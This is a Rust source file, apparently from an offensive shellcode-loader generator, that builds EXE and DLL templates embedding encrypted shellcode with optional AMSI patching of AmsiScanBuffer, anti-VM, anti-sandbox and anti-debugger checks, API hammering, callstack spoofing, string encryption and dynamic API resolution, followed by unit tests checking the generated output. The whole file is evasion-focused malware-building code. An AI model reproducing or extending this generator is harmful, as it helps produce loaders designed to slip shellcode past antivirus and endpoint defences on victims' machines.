pub struct TemplateConfig<'a> {
     pub internals_source: &'a str,
     pub shellcode_array: &'a str,
     pub key_array: &'a str,
     pub decrypt_code: &'a str,
     pub technique_code: &'a str,
     pub technique_function_name: &'a str,
     pub with_api_hammering: bool,
     pub with_amsi_patch: bool,
     pub with_string_encryption: bool,
     pub with_dynamic_function_resolver: bool,
     pub with_anti_vm: bool,
     pub with_anti_sandbox: bool,
     pub with_anti_debugger: bool,
     pub with_callstack_spoofing: bool,
     pub encryption_type: &'a str,
     pub amsi_patch_code: &'a str,
     pub evasion_code: &'a str,
     pub string_obfuscator: Box<dyn super::StringObfuscation + 'a>,
 }
 
 impl<'a> TemplateConfig<'a> {
     pub fn builder() -> TemplateConfigBuilder<'a> {
         TemplateConfigBuilder::new()
     }
 }
 
 pub struct TemplateConfigBuilder<'a> {
     internals_source: Option<&'a str>,
     shellcode_array: Option<&'a str>,
     key_array: Option<&'a str>,
     decrypt_code: Option<&'a str>,
     technique_code: Option<&'a str>,
     technique_function_name: Option<&'a str>,
     with_api_hammering: bool,
     with_amsi_patch: bool,
     with_string_encryption: bool,
     with_dynamic_function_resolver: bool,
     with_anti_vm: bool,
     with_anti_sandbox: bool,
     with_anti_debugger: bool,
     with_callstack_spoofing: bool,
     encryption_type: Option<&'a str>,
     amsi_patch_code: Option<&'a str>,
     evasion_code: Option<&'a str>,
     string_obfuscator: Option<Box<dyn super::StringObfuscation + 'a>>,
 }
 
 impl<'a> TemplateConfigBuilder<'a> {
     pub fn new() -> Self {
         Self {
             internals_source: None,
             shellcode_array: None,
             key_array: None,
             decrypt_code: None,
             technique_code: None,
             technique_function_name: None,
             with_api_hammering: false,
             with_amsi_patch: false,
             with_string_encryption: false,
             with_dynamic_function_resolver: false,
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
             with_callstack_spoofing: false,
             encryption_type: None,
             amsi_patch_code: None,
             evasion_code: None,
             string_obfuscator: None,
         }
     }
 
     pub fn internals_source(mut self, source: &'a str) -> Self {
         self.internals_source = Some(source);
         self
     }
 
     pub fn shellcode_array(mut self, array: &'a str) -> Self {
         self.shellcode_array = Some(array);
         self
     }
 
     pub fn key_array(mut self, array: &'a str) -> Self {
         self.key_array = Some(array);
         self
     }
 
     pub fn decrypt_code(mut self, code: &'a str) -> Self {
         self.decrypt_code = Some(code);
         self
     }
 
     pub fn technique_code(mut self, code: &'a str) -> Self {
         self.technique_code = Some(code);
         self
     }
 
     pub fn technique_function_name(mut self, name: &'a str) -> Self {
         self.technique_function_name = Some(name);
         self
     }
 
     pub fn with_api_hammering(mut self, enabled: bool) -> Self {
         self.with_api_hammering = enabled;
         self
     }
 
     pub fn with_amsi_patch(mut self, enabled: bool) -> Self {
         self.with_amsi_patch = enabled;
         self
     }
 
     pub fn with_string_encryption(mut self, enabled: bool) -> Self {
         self.with_string_encryption = enabled;
         self
     }
 
     pub fn with_dynamic_function_resolver(mut self, enabled: bool) -> Self {
         self.with_dynamic_function_resolver = enabled;
         self
     }
 
     pub fn with_anti_vm(mut self, enabled: bool) -> Self {
         self.with_anti_vm = enabled;
         self
     }
 
     pub fn with_anti_sandbox(mut self, enabled: bool) -> Self {
         self.with_anti_sandbox = enabled;
         self
     }
 
     pub fn with_anti_debugger(mut self, enabled: bool) -> Self {
         self.with_anti_debugger = enabled;
         self
     }
 
     pub fn with_callstack_spoofing(mut self, enabled: bool) -> Self {
         self.with_callstack_spoofing = enabled;
         self
     }
 
     pub fn encryption_type(mut self, enc_type: &'a str) -> Self {
         self.encryption_type = Some(enc_type);
         self
     }
 
     pub fn amsi_patch_code(mut self, code: &'a str) -> Self {
         self.amsi_patch_code = Some(code);
         self
     }
 
     pub fn evasion_code(mut self, code: &'a str) -> Self {
         self.evasion_code = Some(code);
         self
     }
 
     pub fn string_obfuscator(mut self, obfuscator: Box<dyn super::StringObfuscation + 'a>) -> Self {
         self.string_obfuscator = Some(obfuscator);
         self
     }
 
     pub fn build(self) -> TemplateConfig<'a> {
         TemplateConfig {
             internals_source: self.internals_source.expect("internals_source is required"),
             shellcode_array: self.shellcode_array.expect("shellcode_array is required"),
             key_array: self.key_array.expect("key_array is required"),
             decrypt_code: self.decrypt_code.expect("decrypt_code is required"),
             technique_code: self.technique_code.expect("technique_code is required"),
             technique_function_name: self
                 .technique_function_name
                 .expect("technique_function_name is required"),
             with_api_hammering: self.with_api_hammering,
             with_amsi_patch: self.with_amsi_patch,
             with_string_encryption: self.with_string_encryption,
             with_dynamic_function_resolver: self.with_dynamic_function_resolver,
             with_anti_vm: self.with_anti_vm,
             with_anti_sandbox: self.with_anti_sandbox,
             with_anti_debugger: self.with_anti_debugger,
             with_callstack_spoofing: self.with_callstack_spoofing,
             encryption_type: self.encryption_type.unwrap_or(""),
             amsi_patch_code: self.amsi_patch_code.unwrap_or(""),
             evasion_code: self.evasion_code.unwrap_or(""),
             string_obfuscator: self
                 .string_obfuscator
                 .expect("string_obfuscator is required"),
         }
     }
 }
 
 impl Default for TemplateConfigBuilder<'_> {
     fn default() -> Self {
         Self::new()
     }
 }
 
 pub fn generate_random_function_name() -> String {
     use std::collections::hash_map::RandomState;
     use std::hash::{BuildHasher, Hash, Hasher};
 
     let random_state = RandomState::new();
     let mut hasher = random_state.build_hasher();
 
     std::time::SystemTime::now()
         .duration_since(std::time::UNIX_EPOCH)
         .unwrap()
         .as_nanos()
         .hash(&mut hasher);
 
     std::process::id().hash(&mut hasher);
 
     let hash = hasher.finish();
 
     const CHARSET: &[u8] = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 
     let length = 10 + (hash % 16) as usize;
     let mut result = String::with_capacity(length);
 
     let mut val = hash;
     for i in 0..length {
         let idx = if i == 0 {
             (val % 52) as usize
         } else {
             (val % CHARSET.len() as u64) as usize
         };
         result.push(CHARSET[idx] as char);
         val = val.wrapping_mul(6364136223846793005).wrapping_add(1);
     }
 
     result
 }
 
 // Note: These functions are separate rather than using a trait-based approach
 // because this file is included in build.rs (line 5) and cannot import
 // crate::cli::BinaryFormat which is only available at runtime.
 // The build script constraint requires keeping these as separate functions.
 
 /// Generate the main.rs template for EXE binaries
 pub fn generate_exe_main_template(config: &TemplateConfig) -> String {
     let api_hammering_code = if config.with_api_hammering {
         super::generate_api_hammering_functions()
     } else {
         String::new()
     };
 
     let callstack_spoofing_code = if config.with_callstack_spoofing {
         super::generate_uwd_info_comment().to_string()
     } else {
         String::new()
     };
 
     let amsi_patch_code = if config.with_amsi_patch {
         config.amsi_patch_code.to_string()
     } else {
         String::new()
     };
 
     let amsi_patch_call = if config.with_amsi_patch {
         "    let _ = patch_amsi();\n"
     } else {
         ""
     };
 
     let evasion_code = config.evasion_code.to_string();
 
     let evasion_checks_call =
         if config.with_anti_vm || config.with_anti_sandbox || config.with_anti_debugger {
             crate::evasion::generate_evasion_check_call(
                 config.with_anti_vm,
                 config.with_anti_sandbox,
                 config.with_anti_debugger,
             )
         } else {
             String::new()
         };
 
     let string_const = config.string_obfuscator.generate_constants();
     let decrypt_size_msg = config.string_obfuscator.generate_decrypt_and_print();
 
     format!(
         r#"mod internals {{
 {}
 }}
 
 {}
 
 {}
 
 {}
 
 {}
 
 {}
 
 {}
 
 {}
 
 const ENCRYPTED_SHELLCODE: &[u8] = &{};
 const DECRYPTION_KEY: &[u8] = &{};
 {}
 fn main() {{
 {}    {}
 {}    {}
     {}(&decrypted);
 }}
 "#,
         config.internals_source,
         super::techniques::common::common_local_memory_imports(),
         super::techniques::common::common_local_memory_externs(),
         callstack_spoofing_code,
         api_hammering_code,
         amsi_patch_code,
         evasion_code,
         config.technique_code,
         config.shellcode_array,
         config.key_array,
         string_const,
         amsi_patch_call,
         config.decrypt_code,
         evasion_checks_call,
         decrypt_size_msg,
         config.technique_function_name
     )
 }
 
 /// Generate the lib.rs template for DLL binaries
 pub fn generate_dll_lib_template(config: &TemplateConfig) -> String {
     let api_hammering_code = if config.with_api_hammering {
         super::generate_api_hammering_functions()
     } else {
         String::new()
     };
 
     let callstack_spoofing_code = if config.with_callstack_spoofing {
         super::generate_uwd_info_comment().to_string()
     } else {
         String::new()
     };
 
     let amsi_patch_code = if config.with_amsi_patch {
         config.amsi_patch_code.to_string()
     } else {
         String::new()
     };
 
     let amsi_patch_call = if config.with_amsi_patch {
         "    let _ = patch_amsi();\n"
     } else {
         ""
     };
 
     let evasion_code = config.evasion_code.to_string();
 
     let evasion_checks_call =
         if config.with_anti_vm || config.with_anti_sandbox || config.with_anti_debugger {
             crate::evasion::generate_evasion_check_call(
                 config.with_anti_vm,
                 config.with_anti_sandbox,
                 config.with_anti_debugger,
             )
         } else {
             String::new()
         };
 
     let string_const = config.string_obfuscator.generate_constants();
     let decrypt_size_msg = config.string_obfuscator.generate_decrypt_and_print();
 
     format!(
         r#"mod internals {{
 {}
 }}
 
 {}
 
 {}
 
 {}
 
 {}
 
 {}
 
 {}
 
 {}
 
 const ENCRYPTED_SHELLCODE: &[u8] = &{};
 const DECRYPTION_KEY: &[u8] = &{};
 {}
 #[no_mangle]
 pub extern "C" fn DllMain(_hinst_dll: *const u8, _fdw_reason: u32, _lpv_reserved: *const u8) -> u32 {{
 {}    {}
 {}    {}
     {}(&decrypted);
     1
 }}
 
 #[no_mangle]
 pub extern "C" fn get_shellcode_size() -> usize {{
     ENCRYPTED_SHELLCODE.len()
 }}
 "#,
         config.internals_source,
         super::techniques::common::common_local_memory_imports(),
         super::techniques::common::common_local_memory_externs(),
         callstack_spoofing_code,
         api_hammering_code,
         amsi_patch_code,
         evasion_code,
         config.technique_code,
         config.shellcode_array,
         config.key_array,
         string_const,
         amsi_patch_call,
         config.decrypt_code,
         evasion_checks_call,
         decrypt_size_msg,
         config.technique_function_name
     )
 }
 
 #[cfg(test)]
 mod tests {
     use super::*;
 
     #[test]
     fn test_exe_template_contains_main_function() {
         let config = TemplateConfig::builder()
             .internals_source("pub fn test() {}")
             .shellcode_array("[0x90, 0x90]")
             .key_array("[0x41, 0x42]")
             .decrypt_code("let decrypted = vec![0x90];")
             .technique_code("")
             .technique_function_name("placeholder")
             .with_api_hammering(false)
             .with_amsi_patch(false)
             .string_obfuscator(Box::new(super::super::NoObfuscation))
             .build();
         let template = generate_exe_main_template(&config);
 
         assert!(template.contains("fn main()"));
         assert!(template.contains("const ENCRYPTED_SHELLCODE"));
         assert!(template.contains("const DECRYPTION_KEY"));
     }
 
     #[test]
     fn test_exe_template_no_example_code() {
         let config = TemplateConfig::builder()
             .internals_source("pub fn test() {}")
             .shellcode_array("[0x90, 0x90]")
             .key_array("[0x41, 0x42]")
             .decrypt_code("let decrypted = vec![];")
             .technique_code("")
             .technique_function_name("placeholder")
             .with_api_hammering(false)
             .with_amsi_patch(false)
             .string_obfuscator(Box::new(super::super::NoObfuscation))
             .build();
         let template = generate_exe_main_template(&config);
 
         assert!(!template.contains("Hello from generated"));
         assert!(!template.contains("Example usage"));
         assert!(!template.contains("bytes_to_hex"));
     }
 
     #[test]
     fn test_exe_template_includes_decrypt_code() {
         let decrypt_code = "let decrypted = decrypt_xor();";
         let config = TemplateConfig {
             internals_source: "pub fn test() {}",
             shellcode_array: "[0x90]",
             key_array: "[0x41]",
             decrypt_code,
             technique_code: "",
             technique_function_name: "placeholder",
             with_api_hammering: false,
             with_amsi_patch: false,
             with_string_encryption: false,
             with_dynamic_function_resolver: false,
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
             with_callstack_spoofing: false,
             encryption_type: "xor",
             amsi_patch_code: "",
             evasion_code: "",
             string_obfuscator: Box::new(super::super::NoObfuscation),
         };
         let template = generate_exe_main_template(&config);
 
         assert!(template.contains(decrypt_code));
     }
 
     #[test]
     fn test_dll_template_contains_dllmain() {
         let config = TemplateConfig::builder()
             .internals_source("pub fn test() {}")
             .shellcode_array("[0x90, 0x90]")
             .key_array("[0x41, 0x42]")
             .decrypt_code("let decrypted = vec![0x90];")
             .technique_code("")
             .technique_function_name("placeholder")
             .with_api_hammering(false)
             .with_amsi_patch(false)
             .string_obfuscator(Box::new(super::super::NoObfuscation))
             .build();
         let template = generate_dll_lib_template(&config);
 
         assert!(template.contains("DllMain"));
         assert!(template.contains("get_shellcode_size"));
         assert!(template.contains("const ENCRYPTED_SHELLCODE"));
         assert!(template.contains("const DECRYPTION_KEY"));
     }
 
     #[test]
     fn test_dll_template_includes_decrypt_code() {
         let decrypt_code = "let decrypted = decrypt_aes();";
         let config = TemplateConfig {
             internals_source: "pub fn test() {}",
             shellcode_array: "[0x90]",
             key_array: "[0x41]",
             decrypt_code,
             technique_code: "",
             technique_function_name: "placeholder",
             with_api_hammering: false,
             with_amsi_patch: false,
             with_string_encryption: false,
             with_dynamic_function_resolver: false,
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
             with_callstack_spoofing: false,
             encryption_type: "aes",
             amsi_patch_code: "",
             evasion_code: "",
             string_obfuscator: Box::new(super::super::NoObfuscation),
         };
         let template = generate_dll_lib_template(&config);
 
         assert!(template.contains(decrypt_code));
         assert!(template.contains("DllMain"));
     }
 
     #[test]
     fn test_dll_template_dllmain_returns_one() {
         let config = TemplateConfig::builder()
             .internals_source("pub fn test() {}")
             .shellcode_array("[0x90]")
             .key_array("[0x41]")
             .decrypt_code("let decrypted = vec![0x90];")
             .technique_code("")
             .technique_function_name("placeholder")
             .with_api_hammering(false)
             .with_amsi_patch(false)
             .string_obfuscator(Box::new(super::super::NoObfuscation))
             .build();
         let template = generate_dll_lib_template(&config);
 
         assert!(template.contains("1\n}"));
     }
 
     #[test]
     fn test_exe_template_with_technique() {
         let config = TemplateConfig::builder()
             .internals_source("pub fn test() {}")
             .shellcode_array("[0x90, 0x90]")
             .key_array("[0x41, 0x42]")
             .decrypt_code("let decrypted = vec![0x90];")
             .technique_code("fn my_func(data: &[u8]) {}")
             .technique_function_name("my_func")
             .with_api_hammering(false)
             .with_amsi_patch(false)
             .string_obfuscator(Box::new(super::super::NoObfuscation))
             .build();
         let template = generate_exe_main_template(&config);
 
         assert!(template.contains("fn main()"));
         assert!(template.contains("my_func(&decrypted)"));
         assert!(template.contains("const ENCRYPTED_SHELLCODE"));
     }
 
     #[test]
     fn test_dll_template_with_technique() {
         let config = TemplateConfig::builder()
             .internals_source("pub fn test() {}")
             .shellcode_array("[0x90, 0x90]")
             .key_array("[0x41, 0x42]")
             .decrypt_code("let decrypted = vec![0x90];")
             .technique_code("fn my_func(data: &[u8]) {}")
             .technique_function_name("my_func")
             .with_api_hammering(false)
             .with_amsi_patch(false)
             .string_obfuscator(Box::new(super::super::NoObfuscation))
             .build();
         let template = generate_dll_lib_template(&config);
 
         assert!(template.contains("DllMain"));
         assert!(template.contains("my_func(&decrypted)"));
         assert!(template.contains("get_shellcode_size"));
     }
 
     #[test]
     fn test_generate_random_function_name_format() {
         let name = generate_random_function_name();
         assert!(name.len() >= 10 && name.len() <= 25);
         assert!(name.chars().all(|c| c.is_ascii_alphabetic()));
     }
 
     #[test]
     fn test_generate_random_function_names_are_different() {
         let name1 = generate_random_function_name();
         let name2 = generate_random_function_name();
         assert_ne!(name1, name2);
     }
 
     #[test]
     fn test_exe_template_with_amsi_patch() {
         let amsi_code = super::super::generate_amsi_patch_code();
         let config = TemplateConfig::builder()
             .internals_source("pub fn test() {}")
             .shellcode_array("[0x90, 0x90]")
             .key_array("[0x41, 0x42]")
             .decrypt_code("let decrypted = vec![0x90];")
             .technique_code("fn my_func(data: &[u8]) {}")
             .technique_function_name("my_func")
             .with_api_hammering(false)
             .with_amsi_patch(true)
             .with_string_encryption(false)
             .with_dynamic_function_resolver(false)
             .encryption_type("xor")
             .amsi_patch_code(&amsi_code)
             .string_obfuscator(Box::new(super::super::NoObfuscation))
             .build();
         let template = generate_exe_main_template(&config);
 
         assert!(template.contains("fn patch_amsi()"));
         assert!(template.contains("let _ = patch_amsi();"));
         assert!(template.contains("AmsiScanBuffer"));
     }
 
     #[test]
     fn test_exe_template_without_amsi_patch() {
         let config = TemplateConfig::builder()
             .internals_source("pub fn test() {}")
             .shellcode_array("[0x90, 0x90]")
             .key_array("[0x41, 0x42]")
             .decrypt_code("let decrypted = vec![0x90];")
             .technique_code("fn my_func(data: &[u8]) {}")
             .technique_function_name("my_func")
             .with_api_hammering(false)
             .with_amsi_patch(false)
             .string_obfuscator(Box::new(super::super::NoObfuscation))
             .build();
         let template = generate_exe_main_template(&config);
 
         assert!(!template.contains("fn patch_amsi()"));
         assert!(!template.contains("let _ = patch_amsi();"));
         assert!(!template.contains("AmsiScanBuffer"));
     }
 
     #[test]
     fn test_dll_template_with_amsi_patch() {
         let amsi_code = super::super::generate_amsi_patch_code();
         let config = TemplateConfig::builder()
             .internals_source("pub fn test() {}")
             .shellcode_array("[0x90, 0x90]")
             .key_array("[0x41, 0x42]")
             .decrypt_code("let decrypted = vec![0x90];")
             .technique_code("fn my_func(data: &[u8]) {}")
             .technique_function_name("my_func")
             .with_api_hammering(false)
             .with_amsi_patch(true)
             .with_string_encryption(false)
             .with_dynamic_function_resolver(false)
             .encryption_type("xor")
             .amsi_patch_code(&amsi_code)
             .string_obfuscator(Box::new(super::super::NoObfuscation))
             .build();
         let template = generate_dll_lib_template(&config);
 
         assert!(template.contains("fn patch_amsi()"));
         assert!(template.contains("let _ = patch_amsi();"));
         assert!(template.contains("DllMain"));
     }
 
     #[test]
     fn test_dll_template_without_amsi_patch() {
         let config = TemplateConfig::builder()
             .internals_source("pub fn test() {}")
             .shellcode_array("[0x90, 0x90]")
             .key_array("[0x41, 0x42]")
             .decrypt_code("let decrypted = vec![0x90];")
             .technique_code("fn my_func(data: &[u8]) {}")
             .technique_function_name("my_func")
             .with_api_hammering(false)
             .with_amsi_patch(false)
             .string_obfuscator(Box::new(super::super::NoObfuscation))
             .build();
         let template = generate_dll_lib_template(&config);
 
         assert!(!template.contains("fn patch_amsi()"));
         assert!(!template.contains("let _ = patch_amsi();"));
         assert!(template.contains("DllMain"));
     }
 
     #[test]
     fn test_amsi_patch_with_string_encryption() {
         use crate::cli::EncryptionKind;
         use crate::encryption::{create_encryptor, derive_key_bytes};
 
         let encryption_kind = EncryptionKind::XOR;
         let encryption_key = "test_key";
 
         let amsi_dll_str = "amsi.dll";
         let amsi_scan_buffer_str = "AmsiScanBuffer";
 
         let encryptor = create_encryptor(encryption_kind.clone(), encryption_key);
 
         let encrypted_dll = encryptor.encrypt(amsi_dll_str.as_bytes()).unwrap();
         let encrypted_func = encryptor.encrypt(amsi_scan_buffer_str.as_bytes()).unwrap();
 
         let key_bytes = derive_key_bytes(encryption_key, &encryption_kind);
 
         let format_as_array = |bytes: &[u8]| -> String {
             if bytes.is_empty() {
                 return "[]".to_string();
             }
             use std::fmt::Write;
             let mut result = String::with_capacity(bytes.len() * 6 + 2);
             result.push('[');
             for (i, byte) in bytes.iter().enumerate() {
                 if i > 0 {
                     result.push_str(", ");
                 }
                 write!(result, "0x{:02x}", byte).unwrap();
             }
             result.push(']');
             result
         };
 
         let dll_array = format_as_array(&encrypted_dll);
         let func_array = format_as_array(&encrypted_func);
         let key_array = format_as_array(&key_bytes);
 
         let decrypt_fn = "internals::decrypt_xor";
         let expect_clause = "";
 
         let amsi_code = super::super::generate_amsi_patch_code_with_string_encryption(
             &dll_array,
             &func_array,
             &key_array,
             decrypt_fn,
             expect_clause,
         );
 
         assert!(amsi_code.contains("ENCRYPTED_AMSI_DLL"));
         assert!(amsi_code.contains("ENCRYPTED_AMSI_FUNC"));
         assert!(amsi_code.contains("AMSI_KEY"));
         assert!(amsi_code.contains("decrypt_xor"));
         assert!(amsi_code.contains("LoadLibraryA"));
         assert!(amsi_code.contains("GetProcAddress"));
         assert!(amsi_code.contains("VirtualProtect"));
         assert!(amsi_code.contains("fn patch_amsi()"));
     }
 
     #[test]
     fn test_amsi_patch_with_dynamic_resolver() {
         use crate::cli::EncryptionKind;
         use crate::encryption::create_encryptor;
 
         let encryption_type = "xor";
         let encryptor = create_encryptor(EncryptionKind::XOR, "test_key");
 
         let load_library_dll_encrypted = encryptor.encrypt(b"kernel32.dll").unwrap();
         let load_library_fn_encrypted = encryptor.encrypt(b"LoadLibraryA").unwrap();
 
         let load_library_resolver = super::super::generate_dynamic_function_resolver(
             "kernel32.dll",
             "LoadLibraryA",
             encryption_type,
             "load_library_a",
             "DECRYPTION_KEY",
             &load_library_dll_encrypted,
             &load_library_fn_encrypted,
         )
         .unwrap();
 
         let get_proc_address_dll_encrypted = encryptor.encrypt(b"kernel32.dll").unwrap();
         let get_proc_address_fn_encrypted = encryptor.encrypt(b"GetProcAddress").unwrap();
 
         let get_proc_address_resolver = super::super::generate_dynamic_function_resolver(
             "kernel32.dll",
             "GetProcAddress",
             encryption_type,
             "get_proc_address",
             "DECRYPTION_KEY",
             &get_proc_address_dll_encrypted,
             &get_proc_address_fn_encrypted,
         )
         .unwrap();
 
         let virtual_protect_dll_encrypted = encryptor.encrypt(b"kernel32.dll").unwrap();
         let virtual_protect_fn_encrypted = encryptor.encrypt(b"VirtualProtect").unwrap();
 
         let virtual_protect_resolver = super::super::generate_dynamic_function_resolver(
             "kernel32.dll",
             "VirtualProtect",
             encryption_type,
             "virtual_protect",
             "DECRYPTION_KEY",
             &virtual_protect_dll_encrypted,
             &virtual_protect_fn_encrypted,
         )
         .unwrap();
 
         let load_library_cast = super::super::generate_function_type_and_cast(
             "load_library_a",
             "unsafe extern \"system\" fn(*const u8) -> *mut std::ffi::c_void",
         );
 
         let get_proc_address_cast = super::super::generate_function_type_and_cast(
             "get_proc_address",
             "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const u8) -> *mut std::ffi::c_void"
         );
 
         let virtual_protect_cast = super::super::generate_function_type_and_cast(
             "virtual_protect",
             "unsafe extern \"system\" fn(*mut std::ffi::c_void, usize, u32, *mut u32) -> i32",
         );
 
         let dll_resolver = "const ENCRYPTED_AMSI_DLL: &[u8] = &[0x01];";
         let func_resolver = "const ENCRYPTED_AMSI_FUNC: &[u8] = &[0x02];";
 
         let amsi_code = super::super::generate_amsi_patch_code_with_dynamic_resolver(
             super::super::AmsiDynamicResolverParams {
                 dll_resolver,
                 func_resolver,
                 load_library_resolver: &load_library_resolver,
                 load_library_cast: &load_library_cast,
                 get_proc_address_resolver: &get_proc_address_resolver,
                 get_proc_address_cast: &get_proc_address_cast,
                 virtual_protect_resolver: &virtual_protect_resolver,
                 virtual_protect_cast: &virtual_protect_cast,
             },
         );
 
         assert!(amsi_code.contains("ENCRYPTED_AMSI_DLL"));
         assert!(amsi_code.contains("ENCRYPTED_AMSI_FUNC"));
         assert!(amsi_code.contains("internals::get_module_base"));
         assert!(amsi_code.contains("internals::get_function_address"));
         assert!(amsi_code.contains("load_library_a"));
         assert!(amsi_code.contains("get_proc_address"));
         assert!(amsi_code.contains("virtual_protect"));
         assert!(amsi_code.contains("fn patch_amsi()"));
     }
 }

© 2024 - 2026 djnn, inc • generated with stagit